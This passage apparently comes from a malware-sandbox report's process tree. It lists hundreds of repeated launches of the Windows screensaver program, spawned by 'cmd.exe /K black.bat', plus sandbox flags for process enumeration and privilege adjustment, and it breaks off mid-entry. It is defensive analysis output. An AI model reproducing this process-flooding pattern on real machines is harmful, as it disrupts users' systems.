- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1576
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3068
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4092
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4252
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1668
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3204
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2392
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1992
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3404
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5104
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1968
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2796
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3664
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5088
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2356
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4532
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1212
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:116
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2400
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1728
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4232
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2556
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:320
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1504
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2128
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2316
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2728
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1920
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4656
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4228
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2196
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4792
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3404
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3644
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4704
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:804
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1096
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4644
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3504
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1844
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:60
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3092
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1096
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4288
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4600
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2544
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2300
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4024
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4780
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2904
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3980
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2012
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1348
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3964
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3976
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1956
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4664
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3168
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4784
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:692
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2304
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1988
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2664
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:856
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2660
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3644
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1844
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4760
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1096
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3312
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3888
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2728
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1504
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2184
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:804
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5044
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2300
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:656
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2664
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3952
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4444
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:372
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1028
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2376
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2316
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1772
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1880
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2728
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4344
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:60
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:240
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3664
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:760
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1584
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4288
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2040
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3884
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1076
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3104
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4228
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4824
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2568
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5044
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2340
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  PID:3680
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3404
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2408
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1976
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5088
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1728
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1476
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1380
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5072
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:112
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3532
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1960
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1476
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4952
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2460
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4756
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4244
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3812
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4496
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4664
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3748
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4872
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3528
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1940
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2388
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4804
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1364
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:100
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:216
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4448
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3852
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1848
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2404
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4268
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4456
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1356
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1416
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3404
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4900
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5044
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3744
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1880
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5024
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1768
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4340
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1384
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3360
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3504
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1956
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4280
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4704
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1208
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5040
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4644
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2316
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4184
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4804
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4552
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4024
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1412
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4448
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:240
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4664
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4340
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4120
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4824
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:732
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4040
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4804
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1548
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3844
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4656
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1976
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5024
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5108
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5056
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4784
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:116
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:240
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1844
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:748
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:804
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4228
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1728
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4756
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4344
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1712
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1004
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4952
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:204
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2764
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5104
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3168
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4288
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5040
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2304
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2496
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4120
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1500
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2044
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:208
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4244
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5072
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:920
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3852
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3320
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2388
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:528
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2012
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1572
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4600
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3708
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4184
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3560
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4656
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3208
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:996
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4024
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4244
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2316
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4444
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:448
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3168
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1940
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3852
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5040
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1656
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  PID:604
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1920
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2716
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4816
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4892
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:672
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4952
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3964
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:100
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1572
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3256
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2332
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2408
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5072
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2536
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2412
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4448
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1476
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2084
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1952
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3956
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1584
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4816
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3672
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4552
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4836
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4464
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1076
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4360
- - C:\Windows\system32\scrnsave.scr
